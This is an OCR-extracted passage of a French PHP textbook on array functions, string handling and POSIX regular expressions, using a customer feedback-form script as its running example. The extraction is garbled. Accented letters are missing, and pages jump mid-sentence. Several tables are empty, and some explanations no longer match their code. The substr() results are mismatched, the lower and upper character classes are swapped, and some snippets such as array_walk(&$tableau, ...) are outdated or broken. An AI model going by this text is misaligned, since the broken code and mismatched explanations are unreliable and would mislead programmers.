Au cours du Chapitre 2, nous avons utilis le caractre de tabulation en guise de dlimiteur lors de lenregistrement de ces donnes. Cest pourquoi lappel de la fonction
explode() est ici ralis de la manire suivante :
explode( "\t", $commandes[$i] )
Cette instruction a pour effet de dcouper la chane passe comme deuxime paramtre.
Chaque caractre de tabulation devient une sparation entre deux lments. Ainsi, la
chane :
"15:42 le 20-04 4 pneus 1 bidons dhuiles 6 bougies 434.00 22 rue noire, Toulouse"
Chapitre 3
Utilisation de tableaux
109
Nous aurions pu procder de plusieurs autres manires pour extraire les nombres contenus dans ces chanes. Dans le Listing 3.3, nous avons utilis la fonction intval() qui
convertit une chane en nombre entier. Cette conversion ne pose pas de problme puisque les parties qui ne peuvent pas tre converties en nombres entiers sont ignores.
Nous tudierons diverses autres mthodes de traitement des chanes au cours du
prochain chapitre.
110
Partie I
Utilisation de PHP
Avec les fonctions each(), current(), reset(), end(), next(), pos() et prev(), vous
pouvez donc parcourir un tableau comme bon vous semble.
Application dune fonction donne chaque lment dun tableau :
array_walk()
Il est parfois ncessaire dappliquer le mme traitement tous les lments dun
tableau : cest l que la fonction array walk() entre en jeu.
Voici le prototype de la fonction array walk() :
bool array_walk(array tableau, string fonction, [mixed donnes_utilisateur])
Tout comme la fonction usort(), array walk() requiert comme second paramtre une
fonction dfinie par lutilisateur.
La fonction array walk() prend trois paramtres. Le premier, tableau, est le tableau
dont on veut traiter le contenu. Le second, fonction, est le nom de la fonction dfinie
par lutilisateur et qui sera applique chaque lment du tableau. Le troisime paramtre, donnes utilisateur, est facultatif. Sil est prsent, il est pass en paramtre
la fonction dfinie par lutilisateur. Nous allons voir un peu plus loin un exemple de
mise en uvre de la fonction array walk().
Il pourrait, par exemple, se rvler trs pratique dattribuer chaque lment dun
tableau une fonction qui applique une mise en forme particulire.
Le code qui suit affiche chaque lment du tableau $tableau sur une nouvelle ligne, en
appliquant chaque lment la fonction mon affichage() :
function mon_affichage($valeur) {
echo "$valeur<br />";
}
array_walk($tableau, mon_affichage);
Chapitre 3
Utilisation de tableaux
111
Dans la plupart des cas, le paramtre donnes utilisateur est inutile ; il ne sert que
lorsque la fonction que vous avez dfinie exige un paramtre.
Il peut galement arriver que la cl de chaque lment soit tout autant ncessaire la
manipulation effectue que la valeur de llment. Mais, comme dans le cas de
mon affichage(), votre fonction peut ignorer aussi bien la cl que le paramtre
donnes utilisateur.
Considrons prsent un exemple un peu plus complexe : nous allons crire une
fonction qui modifie les valeurs dun tableau et attend un paramtre. Notez que, dans
ce cas, nous devons indiquer la cl dans la liste des paramtres afin de pouvoir spcifier le troisime, mme si nous navons pas besoin de cette cl dans le corps de la
fonction :
function ma_multiplication(&$valeur, $cle, $facteur){
$valeur *= $facteur;
}
array_walk(&$tableau, ma_multiplication, 3);
112
Partie I
Utilisation de PHP
Toutes les deux renvoient le nombre dlments du tableau qui leur est pass en paramtres.
Elles renvoient la valeur 1 lorsquelles sont appliques une variable scalaire et 0
lorsquelles sappliquent un tableau vide ou une variable non dfinie.
La fonction array count values() est plus complexe : elle dtermine le nombre
doccurrences de chaque valeur unique dans le tableau qui lui est pass en paramtre
(cest ce que lon appelle la cardinalit du tableau). Cette fonction renvoie un
tableau associatif contenant une table des frquences. Ce tableau a pour cls toutes
les valeurs uniques du tableau pass array count values() et chacune de ces cls
est associe une valeur numrique reprsentant le nombre de ses occurrences dans
le paramtre.
Le code suivant :
$tableau = array(4, 5, 1, 2, 3, 1, 2, 1);
$ac = array_count_values($tableau);
Valeur
Dans ce cas prcis, le tableau retourn par array count values() indique que le
tableau $tableau contient une seule fois les valeurs 4, 5 et 3, trois fois la valeur 1, et
deux fois la valeur 2.
Conversion de tableaux en variables scalaires : extract()
Vous pouvez transformer un tableau indices non numriques contenant des paires cl/
valeur en un ensemble de variables scalaires au moyen de la fonction extract().
Le prototype de la fonction extract() est le suivant :
extract(array tableau [, int type_extraction] [, string prfixe] );
La fonction extract() produit des variables scalaires partir du tableau qui lui est
pass en paramtre. Elle utilise les cls pour dfinir les noms de ces variables et les
valeurs des lments comme valeurs des variables.
Chapitre 3
Utilisation de tableaux
113
Le tableau $tableau contenant trois lments dont les cls sont cle1, cle2 et cle3, la
fonction extract() applique $tableau cre donc les trois variables scalaires $cle1,
$cle2 et $cle3. Vous pouvez constater dans le rsultat obtenu que les valeurs
de $cle1, $cle2 et $cle3 sont respectivement valeur1, valeur2 et valeur3, qui
proviennent du tableau initial.
La fonction extract() accepte deux arguments facultatifs : type extraction et
prfixe. Le premier indique extract() la manire dont doivent tre gres les collisions, cest--dire les situations o il existe dj une variable de mme nom quune cl.
Le comportement par dfaut consiste craser la variable existante. Le Tableau 3.2
dcrit les quatre valeurs autorises pour type extraction.
Tableau 3.2 : Valeurs possibles du paramtre type_extraction de la fonction extract()
Type
Signification
EXTR OVERWRITE
EXTR SKIP
EXTR IF EXISTS
EXTR REFS
114
Partie I
Utilisation de PHP
Les deux valeurs les plus couramment utilises pour largument type extraction sont
la valeur par dfaut (EXTR OVERWRITE) et EXTR PREFIX ALL. Les deux valeurs suivantes
sont utiles de manire occasionnelle, lorsquune collision particulire est attendue et
que vous voulez "sauter" ou prfixer la cl posant problme. Le fragment de code qui
suit illustre lutilisation de la valeur EXTR PREFIX ALL. Observez la manire dont sont
forms les noms des variables cres : prfixe_cl.
$tableau = array( cle1 => valeur1, cle2 => valeur2, cle3 => valeur3);
extract($tableau, EXTR_PREFIX_ALL, mon_prefixe);
echo "$mon_prefixe_cle1 $mon_prefixe_cle2 $mon_prefixe_cle3";
L encore, le rsultat obtenu lexcution des lignes de codes prcdents est valeur1
valeur2 valeur3.
Pour que la fonction extract() puisse extraire un lment, il faut que la cl de
llment soit un nom de variable valide, ce qui signifie que les cls dont les noms
commencent par des chiffres ou qui contiennent des espaces ne peuvent pas tre extraites.
Pour la suite
Le Chapitre 4 traite des fonctions de manipulation des chanes. Il couvre les fonctions
de recherche, de remplacement, de scission et de fusion de chanes. Il dcrit galement
les puissantes fonctions de traitement des expressions rgulires qui permettent de
raliser quasiment toutes les oprations envisageables sur les chanes.
4
Manipulation de chanes
et dexpressions rgulires
Dans ce chapitre, nous verrons comment utiliser les fonctions PHP de traitement des
chanes pour mettre en forme et manipuler du texte. Nous examinerons galement
lemploi des fonctions de traitement de chanes et dexpressions rgulires pour rechercher
et remplacer des mots, des phrases ou tout autre motif au sein dune chane.
Les fonctions dcrites dans ce chapitre sont utiles dans de nombreux contextes. Vous
vous trouverez sans aucun doute souvent en situation de devoir nettoyer ou mettre en
forme les donnes saisies par les utilisateurs avant de les enregistrer dans une base
de donnes, par exemple. Par ailleurs, les fonctions de recherche sont prcieuses lors de
llaboration dapplications de type moteur de recherche (entre autres).
116
Partie I
Utilisation de PHP
lemploy appropri. Si, par exemple, le message transmis par le client contient le mot
"publicit", il sera dirig vers la bote aux lettres du dpartement de marketing. Si le
message mane dun client important, il pourra tre directement transmis Bob.
Figure 4.1
Le formulaire de saisie
dun message du site de Bob
permet aux clients de transmettre leurs commentaires,
aprs avoir saisi leur nom
et leur adresse de courrier
lectronique.
Nous commencerons ce projet par le script simple du Listing 4.1. Nous complterons
ensuite ce script au fur et mesure de notre avance dans ce chapitre.
Listing 4.1 : processfeedback.php Script de base permettant la transmission
du contenu dun formulaire par courrier lectronique
<?php
// Cration de noms abrgs pour les variables
$nom = $_POST[nom];
$email = $_POST[email];
$commentaire = $_POST[commentaire];
// Initialisation de quelques informations statiques
$adresse_dest = "commentaires@exemple.com";
$sujet = "Message provenant du site web";
$contenu_message = "Nom client : " . $nom ."\n" .
"Email client : ". $email . "\n".
"Commentaires client :\n" . $commentaire. "\n";
$adresse_exp = "From: webserver@exemple.com";
// Appel de la fonction mail() pour envoyer le courrier
mail($adresse_dest, $sujet, $contenu_message, $adresse_exp);
?>
Chapitre 4
117
<html>
<head>
<title>Le garage de Bob -- Commentaire transmis</title>
</head>
<body>
<h1>Commentaire transmis</h1>
<p>Votre commentaire a t envoy.</p>
</body>
</html>
Notez quen situation relle il faudrait tester si lutilisateur a bien rempli tous les
champs obligatoires, par exemple en utilisant la fonction isset() avant dappeler la
fonction mail(). Ce test a t omis dans le Listing 4.1 et dans les autres exemples par
souci de simplification.
Dans ce script, on concatne les champs du formulaire et on utilise la fonction mail()
de PHP pour transmettre par courrier lectronique la chane rsultante ladresse
commentaires@exemple.com. Il sagit bien sr dune adresse e-mail dexemple : si vous
souhaitez tester le code de ce chapitre, remplacez-la par votre adresse e-mail. Comme
cest la premire fois que nous utilisons la fonction mail(), nous allons nous intresser
son fonctionnement.
Comme son nom le suggre, la fonction mail() transmet des courriers lectroniques
(des e-mails). Voici son prototype :
bool mail(string A, string Objet, string Message,
string [enttes_additionnels]);
Vous pouvez vous servir du cinquime paramtre facultatif pour passer un paramtre au
programme que vous avez configur pour lenvoi de-mails.
118
Partie I
Utilisation de PHP
Pour pouvoir mettre en uvre la fonction mail(), vous devez configurer votre installation PHP pour lui indiquer lexistence de votre programme denvoi des courriers. Si
lexcution de votre script pose problme, relisez attentivement lAnnexe A et vrifiez
votre installation PHP.
Tout au long de ce chapitre, nous amliorerons le script de base du Listing 4.1 en nous
servant de fonctions PHP de manipulation des chanes et dexpressions rgulires.
La fonction trim() limine les espaces existant en dbut et la fin de la chane qui lui
est fournie en paramtre et retourne la chane ainsi lague. Les caractres despace
supprims par la fonction trim() sont les nouvelles lignes et les retours chariot (\n, \r),
les tabulations horizontales et verticales (\t et \v), les caractres de fin de chane (\0) et
les caractres espaces. Vous pouvez galement passer cette fonction un second paramtre contenant une liste des caractres supprimer la place de cette liste par dfaut.
Selon le but recherch, les fonctions ltrim() ou rtrim() peuvent se rvler plus appropries que la fonction trim(). Comme la fonction trim(), elles prennent toutes les
deux la chane traiter en paramtre et renvoient cette chane mise en forme. En
revanche, alors que la fonction trim() supprime tous les espaces qui encadrent la
chane, la fonction ltrim() limine uniquement les espaces en dbut de chane
(cest--dire la gauche de la chane) tandis que la fonction rtrim() les supprime
uniquement la fin de la chane (cest--dire droite).
Chapitre 4
119
Souvenez-vous que, dans le contexte dun codage HTML, lespace est ignore. Par
consquent, en labsence dun traitement par nl2br(), le message du client sera
imprim sous la forme dune seule ligne ( lexception des caractres de nouvelles
lignes imposs par le navigateur lui-mme). La Figure 4.2 illustre ces deux modes
daffichage, avec et sans traitement par nl2br().
Figure 4.2
La fonction PHP nl2br()
permet damliorer la
prsentation des longues
chanes dans du code
HTML.
120
Partie I
Utilisation de PHP
PHP offre galement la fonction print(), qui est analogue la construction echo, sauf
quelle renvoie une valeur (vrai ou faux, selon la russite ou lchec de laffichage).
echo, tout comme print(), affiche la chane "telle quelle". Vous pouvez toutefois appliquer une mise en forme plus sophistique au moyen des fonctions printf() et
sprintf(). Toutes les deux oprent pratiquement de la mme manire, sauf que
printf() affiche la chane mise en forme dans le navigateur, tandis que sprintf()
renvoie cette chane mise en forme.
Ces fonctions ont le mme comportement que leurs quivalents dans le langage C, bien
que leur syntaxe ne soit pas la mme. Si vous navez jamais programm en C, il vous
faudra peut-tre un peu de temps pour vous familiariser avec ces fonctions, mais le jeu
en vaut toutefois la chandelle, compte tenu de leur puissance et de leur utilit.
Les prototypes de ces fonctions sont les suivants :
string sprintf (string format [, mixed paramtres...])
int printf (string format [, mixed paramtres...])
Le premier paramtre requis par ces fonctions est une chane de format dcrivant la
forme de base de la sortie, avec des codes de mise en forme au lieu de variables. Les
autres paramtres sont des variables que PHP viendra insrer dans la chane, en lieu et
place des codes de mise en forme.
Par exemple, avec la fonction echo, nous pouvons afficher une chane en y insrant une
variable, comme suit :
echo "Le montant total de la commande est $total.";
Avec ce formatage et la valeur 12.4 stocke dans $total, linstruction affichera 12.40.
Chapitre 4
121
Type
Signification
122
Partie I
Utilisation de PHP
Tableau 4.1 : Valeurs possibles pour le type dune spcification de conversion (suite)
Type
Signification
Largument est trait comme un entier et affich comme un nombre dcimal non
sign.
Il est possible de numroter les paramtres, ce qui permet de passer les paramtres dans
un autre ordre que les spcifications de conversion. Par exemple :
printf ("Montant total : %2\$.2f (dont %1\$.2f de transport)",
$total_transport, $total);
Chapitre 4
123
Tableau 4.2 : Fonctions de modification de la casse dune chane, avec leurs effets
Fonction
Description
Usage
Valeur retourne
$sujet
Commentaire du site
web
strtoupper($sujet)
COMMENTAIRE
DU SITE WEB
strtolower($sujet)
commentaire du site
web
ucfirst($sujet)
Commentaire du site
web
majuscules.
strtolower() Convertit la chane en
minuscules.
ucfirst()
ucwords()
ucwords($sujet)
Met en majuscule la premire
lettre de chaque mot de la chane
qui commence par un caractre
alphabtique.
Commentaire Du
Site Web
124
Partie I
Utilisation de PHP
Notez que cette rgle sapplique tous les caractres spciaux. Par consquent, si votre
chane contient la squence \\, vous devez enregistrer celle-ci sous la forme \\\\.
PHP offre deux fonctions spcialement ddies la protection des caractres. Avant
dcrire une chane dans une base de donnes, vous devez reformater celle-ci avec la
fonction addslashes(), comme dans lexemple suivant, moins que votre configuration
ne le fasse par dfaut :
$commentaire = addslashes(trim($_POST[commentaire]));
Figure 4.4
Tous les caractres problmatiques
ont t protgs deux fois ; cela
signifie que la fonction des apostrophes magiques est active.
Chapitre 4
125
Si vous voyez ce rsultat, cela signifie que votre configuration de PHP est dfinie de
manire ajouter et supprimer les barres obliques automatiquement. Cette capacit
est contrle par la directive de configuration magic quotes gpc, qui est active par
dfaut dans les nouvelles versions de PHP. Les lettres gpc correspondent GET, POST et
cookie. Cela signifie que les variables provenant de ces sources sont automatiquement
mises entre apostrophes. Vous pouvez vrifier si cette directive est active dans votre
systme en utilisant la fonction get magic quotes gpc(), qui renvoie true si les chanes provenant de ces sources sont automatiquement places entre apostrophes. Si cette
directive est active sur votre systme, vous devez appeler stripslashes() avant
dafficher les donnes utilisateur ; sans cela, les barres obliques seront affiches.
Lutilisation des guillemets magiques vous permet dcrire du code plus portable. Pour
en apprendre plus sur cette fonction, consultez le Chapitre 22.
Cette fonction prend une chane comme deuxime paramtre (entre) et dcoupe celleci en se servant du sparateur (de type chane) indiqu en premier paramtre. Les
diffrentes sous-chanes ainsi obtenues sont renvoyes dans un tableau. Vous pouvez
limiter le nombre dlments ainsi produits avec le paramtre facultatif limite.
Dans le cadre de notre application modle, nous pouvons extraire le nom de domaine de
ladresse de courrier lectronique du client grce au code suivant :
$tab_email = explode(@, $email);
126
Partie I
Utilisation de PHP
Notez que, si le nom de domaine nest pas entirement dfini en lettres minuscules, le
code prcdent ne conduira pas au rsultat recherch. Pour viter ce problme, nous
devons dabord convertir le nom de domaine en majuscules, ou bien en minuscules,
avant deffectuer notre test :
if (strtolower($tab_email[1]) == "grosclient.com") {
$adresse_dest = "bob@exemple.com";
} else {
$adresse_dest = "commentaires@exemple.com";
}
Leffet produit par la fonction explode() peut tre annul avec les fonctions implode()
ou join(). Ces deux fonctions sont identiques (ce sont des alias lune de lautre). Par
exemple, la ligne de code :
$nouveau_email = implode(@, $tab_email);
rassemble tous les lments du tableau $tab email en les reliant par la chane passe
en premier paramtre. Cet appel de fonction est donc trs semblable celui de la fonction
explode() mais il produit le rsultat oppos.
Utilisation de la fonction strtok()
Contrairement la fonction explode(), qui dcompose en une seule fois une chane en
diffrentes parties, la fonction strtok() extrait une une les diffrentes parties dune
chane (lesquelles sont appeles des token, terme pouvant tre traduit par "lexme"). La
fonction strtok() est donc une alternative intressante la fonction explode()
lorsquil sagit de traiter un par un les mots dune chane de caractres.
Le prototype de la fonction strtok() est le suivant :
string strtok(string entre, string sparateur);
Le paramtre sparateur peut tre soit un caractre individuel, soit une chane de
caractres. La chane entre sera scinde au niveau de chacun des caractres spcifis
dans le sparateur et non pas au niveau des occurrences de la chane sparateur
complte (comme cest le cas avec explode).
Chapitre 4
127
Lappel de strtok() nest pas aussi simple que le laisse penser son prototype.
Pour obtenir le premier segment dune chane, appelez la fonction strtok() en lui
passant la chane dcomposer et le sparateur utiliser. Pour obtenir les maillons
suivants, il suffit de passer un seul paramtre : le sparateur. La fonction strtok()
conserve en effet un pointeur interne sur la chane qui lui a t passe en paramtre.
Pour rinitialiser le pointeur de strtok(), appelez strtok() en indiquant nouveau le
paramtre entre.
Voici un exemple typique dutilisation de la fonction strtok() :
$mot = strtok($commentaire, " ");
echo $mot . "<br />";
while ($mot!= "") {
$mot = strtok(" ");
echo $mot . "<br />";
};
Comme nous lavons dj mentionn, il serait fortement conseill, ici, de vrifier que le
client a bien rempli les champs du formulaire de message, par exemple au moyen de la
fonction empty(). Ce test nest pas implment dans les exemples de code donns dans
ce chapitre, par souci de concision.
Le code prcdent affiche chaque mot du message saisi par le client sur une ligne
distincte et poursuit le traitement jusqu ce quil ny ait plus de mot. Les chanes vides
sont automatiquement ignores.
Utilisation de la fonction substr()
La fonction substr() permet daccder une sous-chane dune chane en indiquant le
dbut et la fin de la sous-chane. Dans le cadre de lexemple considr ici, cette fonction
na gure dutilit, mais elle se rvle prcieuse lorsquil faut traiter des parties de chanes
ayant un format bien dtermin.
La fonction substr() sutilise avec le prototype suivant :
string substr(string chane, int dbut, int [longueur] );
128
Partie I
Utilisation de PHP
renvoie "otre service client est parfait". Notez que les positions dans la chane
sont numrotes partir de 0, comme dans les tableaux.
Lorsque la fonction substr() est appele en spcifiant uniquement un nombre ngatif
comme argument dbut, vous obtenez la sous-chane comprise entre la fin de la chane
moins "longueur caractres" et la fin de la chane. Par exemple, lexcution de
linstruction :
substr($test, -7);
renvoie les cinq premiers caractres de la chane, cest--dire "Votre". La ligne de code
suivante :
echo substr($test, 6, -13);
Comparaison de chanes
Jusqu prsent, les seules comparaisons de chanes que nous avons faites se sont limites au test de lgalit entre deux chanes, au moyen de loprateur ==. PHP permet
deffectuer des comparaisons plus sophistiques que nous classerons en deux catgories : les correspondances partielles et les autres. Nous commencerons par tudier ces
dernires, puis nous examinerons dans un second temps les correspondances partielles,
dont nous aurons besoin pour poursuivre le dveloppement de notre application
modle.
Comparaison des chanes : strcmp(), strcasecmp() et strnatcmp()
Ces fonctions permettent dordonner des chanes les unes par rapport aux autres. Elles
sont prcieuses lors du tri de donnes.
Le prototype de la fonction strcmp() est le suivant :
int strcmp(string chane1, string chane2);
La fonction strcmp() compare les deux chanes qui lui sont passes en paramtre et renvoie
0 si elles sont gales, un nombre positif si chane1 vient aprs (ou est suprieure )
Chapitre 4
129
chane 2 dans lordre lexicographique et un nombre ngatif dans le cas contraire. Cette
fonction est sensible la casse.
La fonction strcasecmp() est identique strcmp(), sauf quelle nest pas sensible la
casse.
La fonction strnatcmp() et son homologue non sensible la casse strnatcasecmp()
comparent les chanes daprs lordre "naturel", plus proche du comportement humain.
Par exemple, la fonction strcmp() classerait la chane "2" aprs la chane "12", parce
que cette dernire est suprieure dun point de vue lexicographique. En revanche, la
fonction strnatcmp() effectuerait le classement inverse. Vous trouverez plus dinformations sur la notion dordre naturel sur le site http://www.naturalordersort.org/.
Longueur dune chane : la fonction strlen()
Nous pouvons tester la longueur dune chane en faisant appel la fonction strlen().
Celle-ci renvoie la longueur de la chane qui lui est passe en paramtre. Lappel
suivant, par exemple, affichera 7 :
echo strlen("bonjour");
strlen() permet de valider les donnes saisies par lutilisateur. Par exemple, considrons le cas de ladresse de courrier lectronique entre dans notre exemple de formulaire et stocke dans la variable $email. Une des mthodes de base de validation des
adresses de courrier lectronique consiste tester leur longueur. Une adresse de courrier lectronique valide doit compter au moins six caractres (a@a.fr, par exemple),
dans le cas minimaliste dune adresse se composant dun code de pays sans deuxime
niveau de domaine, dun nom de serveur dun seul caractre et dune adresse e-mail
dune seule lettre. On pourrait donc produire un message derreur si ladresse saisie na
pas au moins cette longueur :
if (strlen($email) < 6) {
echo "Cette adresse email est incorrecte.";
exit; // Fin de lexcution du script PHP
}
130
Partie I
Utilisation de PHP
La fonction strstr() recherche dans la botte de foin qui lui est passe comme
premier paramtre sil existe l aiguille qui lui est fournie en deuxime paramtre.
Lorsque strstr() tablit une correspondance exacte entre l aiguille et la
botte de foin, elle renvoie la partie de la botte de foin partir de laiguille localise. Dans le cas contraire, strstr() renvoie false. Lorsque plusieurs occurrences de
la sous-chane recherche sont dtectes, strstr() renvoie la partie de la chane qui
commence la premire occurrence de laiguille.
Par exemple, dans le cadre de notre application modle, nous pouvons choisir le destinataire vers lequel un message reu doit tre dirig laide du code suivant :
$adresse_dest = "commentaires@exemple.com";
Chapitre 4
131
$adresse_dest = "distribution@exemple.com";
} else if (strstr($commentaire, "livraison")) {
$adresse_dest = "livraison@exemple.com";
} else if (strstr($commentaire, "facture")) {
$adresse_dest = "comptes@exemple.com";
}
Le nombre entier renvoy par cette fonction donne la position de la premire occurrence de laiguille dans la botte de foin. Comme dhabitude, le premier caractre
occupe la position 0.
Le code qui suit affichera donc 1 dans la fentre du navigateur :
$test = "Bonjour tous";
echo strpos($test, o);
Dans ce cas, laiguille nest constitue que dun seul caractre, mais il pourrait sagir
dune chane de nimporte quelle longueur.
Le paramtre facultatif offset permet dindiquer la position partir de laquelle
commencera la recherche dans la botte de foin. La ligne de code suivante :
echo strpos($test, o, 5);
132
Partie I
Utilisation de PHP
La fonction str replace() remplace dans la chane botte de foin toutes les occurrences de la sous-chane aiguille par la sous-chane nouvelle aiguille et renvoie la
nouvelle version de la botte de foin.
Chapitre 4
133
Dans le cadre de notre formulaire de courrier lectronique, par exemple, les clients
pourraient glisser des termes injurieux dans leurs messages. Nous pouvons viter aux
divers services de lentreprise de Bob dtre importuns par de tels messages en utilisant un tableau $injures contenant les mots injurieux que vous souhaitez censurer.
Voici un exemple utilisant str replace() avec un tableau :
$commentaire = str_replace($injures, "%!@*", $commentaire);
Cette fonction remplace une partie de la chane chane par la chane remplacement. Les
valeurs des paramtres dbut et longueur dfinissent la partie remplacer.
La valeur de dbut reprsente un offset (ou dcalage) partir duquel entreprendre le
remplacement dans chane. Si la valeur de dbut est positive ou nulle, loffset est dfini
partir du dbut de la chane ; si elle est ngative, loffset est dfini partir de la fin de
la chane. Par exemple, la ligne de code qui suit remplace le dernier caractre de la
chane $test par un X :
$test = substr_replace($test, X, -1);
Le paramtre longueur est facultatif et indique la position dans la chane o PHP doit
stopper le remplacement. Lorsque cet argument nest pas fourni, la chane est remplace
partir de la position dbut jusqu la fin de la chane.
Si longueur vaut zro, la chane de remplacement est insre dans chane sans craser
la chane existante.
Si longueur a une valeur positive, il indique le nombre de caractres qui doivent tre
remplacs par nouvelle chane.
Si longueur a une valeur ngative, il indique la position partir de laquelle doit sinterrompre le remplacement, compte partir de la fin de chane.
134
Partie I
Utilisation de PHP
Toutes les oprations de correspondance de motifs ralises jusquici ont fait appel
aux fonctions sur les chanes, qui nous ont limits la recherche de correspondances
exactes sur des chanes ou des sous-chanes. Pour raliser des oprations de correspondance plus sophistiques, vous devez employer les expressions rgulires. Leur
apprentissage nest pas ais, mais elles sont dun secours apprciable en certaines
circonstances.
Notions de base
Une expression rgulire est un moyen de dcrire un motif dans un morceau de texte.
Les correspondances exactes (ou littrales) ralises dans les sections prcdentes
taient une forme dexpressions rgulires. Par exemple, avec "boutique" et "livraison",
nous avons effectu une recherche laide dexpressions rgulires.
En PHP, la recherche de correspondances avec des expressions rgulires sapparente
plus une recherche de correspondances avec la fonction strstr() qu une comparaison dgalit, parce quil sagit de rechercher loccurrence dune sous-chane dans une
autre chane (la sous-chane pouvant se situer nimporte o dans la chane, moins den
dfinir plus prcisment lemplacement). Par exemple, la chane " boutique" correspond lexpression rgulire "boutique", mais elle correspond galement aux expressions
rgulires "o", "ou", etc.
Outre les caractres qui se correspondent exactement, vous pouvez utiliser des caractres
spciaux pour ajouter une mtasignification un motif. Vous pouvez, par exemple, utiliser
des caractres spciaux pour indiquer que le motif recherch doit se trouver en dbut ou
la fin dune chane, quune partie du motif peut tre rpte, ou bien encore que
certains caractres du motif doivent tre dun type particulier. Vous pouvez galement
Chapitre 4
135
rechercher des occurrences littrales de caractres spciaux. Nous allons nous pencher
sur chacune de ces possibilits.
Ensembles et classes de caractres
La possibilit dutiliser des ensembles de caractres, au lieu de simples expressions
exactes, dans les expressions rgulires confre celles-ci plus de puissance pour les
oprations de recherche. Les ensembles de caractres permettent en effet de rechercher
des correspondances sur tous les caractres dun type particulier, un peu la manire
dun joker.
Tout dabord, le caractre point (.) peut servir de joker pour reprsenter nimporte quel
caractre unique, sauf le caractre de nouvelle ligne (\n). Lexpression rgulire :
.ou
permet de raliser des correspondances sur les chanes "cou", "pou" ou "sou" (entre
autres). Ce type de joker semploie souvent pour raliser des correspondances sur des
noms de fichiers dans les systmes dexploitation.
Avec les expressions rgulires, vous pouvez tre encore plus prcis sur le type du
caractre rechercher. Vous pouvez mme dfinir un ensemble de caractres auquel le
caractre recherch devra appartenir. Dans lexemple prcdent, lexpression rgulire
correspondait "cou" et "pou", mais elle pouvait galement capturer "#ou". Pour
prciser que le caractre capturer doit tre une lettre comprise entre a et z, vous
pouvez utiliser la formulation suivante :
[a-z]
Cette expression indique que le caractre recherch doit tre une voyelle.
Vous pouvez galement prciser une plage de caractres en utilisant des tirets, comme dans
lexpression [a z], ou un ensemble de plages de caractres, de la manire suivante :
[a-zA-Z]
Cette expression prcise que le caractre recherch doit tre une lettre majuscule ou
minuscule.
Les ensembles peuvent aussi servir indiquer que le caractre sur lequel raliser la
correspondance ne doit pas appartenir un ensemble. Par exemple :
[^a-z]
136
Partie I
Utilisation de PHP
capture tout caractre qui nest pas compris entre a et z. Laccent circonflexe plac
entre les crochets est synonyme de ngation. En dehors des crochets, il prend une autre
signification sur laquelle nous reviendrons un peu plus loin.
Outre la possibilit de dfinir vos ensembles et classes de caractres sous forme de
listes, vous disposez de plusieurs classes de caractres prdfinies, qui sont dcrites
dans le Tableau 4.3.
Tableau 4.3 : Classes de caractres utilisables dans des expressions rgulires de style
POSIX
Classe
Correspondance
[[:alnum:]]
Caractres alphanumriques
[[:alpha:]]
Caractres alphabtiques
[[:lower:]]
Lettres en majuscules
[[:upper:]]
Lettres en minuscules
[[:digit:]]
Chiffres dcimaux
[[:xdigit:]]
Chiffres hexadcimaux
[[:punct:]]
Ponctuations
[[:blank:]]
Tabulations et espaces
[[:space:]]
Espaces
[[:cntrl:]]
Caractres de contrle
[[:print:]]
[[:graph:]]
Rptition
Lors dune recherche, il arrive frquemment quil soit ncessaire dindiquer que le
motif recherch peut tre une chane particulire ou une classe de caractres rpte
plusieurs fois. Pour reprsenter une telle rptition, il suffit dutiliser deux caractres
spciaux dans lexpression rgulire. Le symbole * indique que le motif peut tre rpt
zro ou plusieurs fois, tandis que le symbole + indique que le motif peut tre rpt une
ou plusieurs fois. Le symbole doit tre spcifi directement aprs la partie de lexpression
laquelle il sapplique. Par exemple :
[[:alnum:]]+
Chapitre 4
137
Sous-expressions
Il est souvent trs utile de pouvoir dcouper une expression en sous-expressions, pour,
par exemple, signifier "au moins une de ces chanes suivie par exactement une autre".
Lusage de parenthses permet de dcouper une expression rgulire, exactement
comme les expressions arithmtiques. Par exemple :
(trs )*grand
correspond "trs ", "trs trs " et "trs trs trs ".
Ancrage au dbut ou la fin dune chane
Le motif [a z] capturera nimporte quelle chane contenant un caractre alphabtique
en minuscule. Peu importe que la chane fasse un caractre de long ou contienne un
unique caractre correspondant dans une chane plus longue.
Vous pouvez prciser quune sous-expression particulire doit apparatre en dbut et/ou
la fin de la chane explore. Cette possibilit se rvle prcieuse pour sassurer que
seule lexpression recherche, et aucune autre, napparatra dans la chane trouve.
Le symbole accent circonflexe (^) sutilise en dbut dexpression rgulire pour indiquer que le motif recherch doit figurer au dbut de la chane explore. Inversement, le
symbole $ sutilise en fin dexpression rgulire pour indiquer que le motif recherch
doit figurer la fin de la chane explore.
Par exemple, lexpression rgulire :
^bob
138
Partie I
Utilisation de PHP
Enfin, lexpression :
^[a-z]$
Chapitre 4
139
Tableau 4.4 : Rcapitulatif des caractres spciaux utiliss dans des expressions rgulires
POSIX, en dehors des crochets
Caractre
Signification
Caractre de protection
Tableau 4.5 : Rcapitulatif sur les caractres spciaux utiliss dans des expressions
rgulires POSIX, entre crochets
Caractre
Signification
Caractre de protection
140
Partie I
Utilisation de PHP
La seconde utilisation envisageable est la validation des adresses de courrier lectronique des clients. Il faut pour cela coder le format standard dune adresse de courrier lectronique dans une expression rgulire. Le codage de ce format doit reprsenter la
squence suivante : des caractres alphanumriques et de ponctuation, suivis par un
symbole @, puis par des caractres alphanumriques et des tirets, suivis par un point,
puis par plusieurs caractres alphanumriques et des tirets et, ventuellement, plusieurs
points, jusqu la fin de la chane. Concrtement, ce format pourrait tre cod de la
manire suivante :
^[a-zA-Z0-9_\-\.]+@[a-zA-Z0-9\-]+\.[a-zA-Z0-9\-\.]+$
La sous-expression ^[a zA Z0 9 \ \.]+ signifie "la chane doit commencer par une
lettre, un nombre, un blanc soulign, un tiret, un point ou toute combinaison de ces
caractres". Notez que, lorsquun point est utilis au dbut ou la fin dune classe de
caractres, il perd sa signification spciale de caractre de remplacement et devient un
simple point littral.
Le symbole @ reprsente un caractre @ littral.
La sous-expression [a zA Z0 9\ ]+ dcrit la premire partie du nom dhte. Celle-ci
doit tre compose de caractres alphanumriques et de tirets. Notez que le tiret, qui est
un caractre spcial, est prcd ici dune barre oblique inverse parce quil est plac
entre crochets.
La combinaison \. reprsente un point littral (.). Nous utilisons un point en dehors des
classes de caractres, aussi devons-nous le protger pour ne dfinir de correspondance
quavec un point littral.
La sous-expression [a zA Z0 9\ \.]+$ reprsente le reste dun nom de domaine. Cette
partie peut tre compose de lettres, de nombres, de tirets et de plusieurs points si
ncessaire, jusqu la fin de la chane.
Une analyse un tant soit peu pousse montrerait que certaines adresses de courrier lectronique non valides pourraient tre dcrites par cette expression rgulire. Il est presque impossible de dresser la liste de toutes ces adresses mais notre code en limine
